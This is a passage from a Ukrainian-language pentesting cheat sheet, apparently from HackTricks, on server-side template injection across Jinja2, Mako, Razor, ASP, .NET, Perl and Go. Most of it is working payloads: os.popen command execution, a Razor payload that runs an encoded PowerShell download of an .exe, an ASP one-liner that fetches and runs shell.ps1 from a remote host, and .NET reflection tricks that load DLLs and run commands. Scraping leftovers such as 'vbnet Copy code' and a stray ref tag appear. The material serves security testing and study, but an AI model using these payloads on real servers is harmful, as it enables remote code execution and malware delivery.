Jinja2 — повнофункціональний шаблонний движок для Python. Він має повну підтримку unicode, опційне інтегроване ізольоване середовище виконання (sandbox), широко використовується та ліцензовано за BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - формат шаблону

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE, який не залежить від __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Детальніше про те, як зловживати Jinja:

Jinja2 SSTI

Інші payloads у https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Додаткова інформація

Інше (Python)

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp

Додаткова інформація

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Додаткова інформація

.Net Обхід обмежень

Механізми .NET Reflection можна використовувати для обходу blacklisting або коли classes не присутні в assembly. DLL’s можна завантажувати під час виконання; методи та властивості стають доступні через базові об’єкти.

Dll’s можна завантажити за допомогою:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Повне виконання команд:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Додаткова інформація

Mojolicious (Perl)

Навіть якщо це Perl, він використовує теги, схожі на ERB в Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

У шаблонному рушії Go підтвердити його використання можна за допомогою конкретних payloads:

  • {{ . }}: Показує вхідну структуру даних. Наприклад, якщо передається об’єкт з атрибутом Password, {{ .Password }} може його відкрити.
  • {{printf "%s" "ssti" }}: Очікується, що відобразиться рядок “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Ці payloads мають повернути “ssti” без додавання “html” або “js”. Подальші директиви можна вивчити в документації Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

За допомогою пакета text/template XSS може бути реалізований просто шляхом вставлення payload безпосередньо. Натомість пакет html/template кодує відповідь, щоб цьому запобігти (наприклад, {{"<script>alert(1)</script>"}} дає &lt;script&gt;alert(1)&lt;/script&gt;). Проте визначення та виклик шаблонів у Go можуть обійти це кодування: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

Експлуатація RCE суттєво відрізняється між html/template та text/template. Модуль text/template дозволяє викликати будь-яку публічну функцію напряму (використовуючи значення “call”), чого не дозволяє html/template. Документація для цих модулів доступна here for html/template та here for text/template.

Для RCE через SSTI у Go можна викликати методи об’єктів. Наприклад, якщо переданий об’єкт має метод System, який виконує команди, його можна експлуатувати так: {{ .System "ls" }}. Зазвичай необхідний доступ до вихідного коду, щоб це використати, як у наведеному прикладі:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Більше інформації

LESS (CSS-препроцесор)

LESS — популярний CSS-препроцесор, який додає змінні, міксини, функції та потужну директиву @import. Під час компіляції рушій LESS буде завантажувати ресурси, зазначені в @import і вбудовувати (“inline”) їхній вміст у результатний CSS, коли використовується опція (inline).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Більше Exploits

Перегляньте решту https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection для інших exploits. Також ви можете знайти цікаву інформацію про теги в https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Пов’язані матеріали

Якщо вважаєте, що це може бути корисним, прочитайте:

Інструменти

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks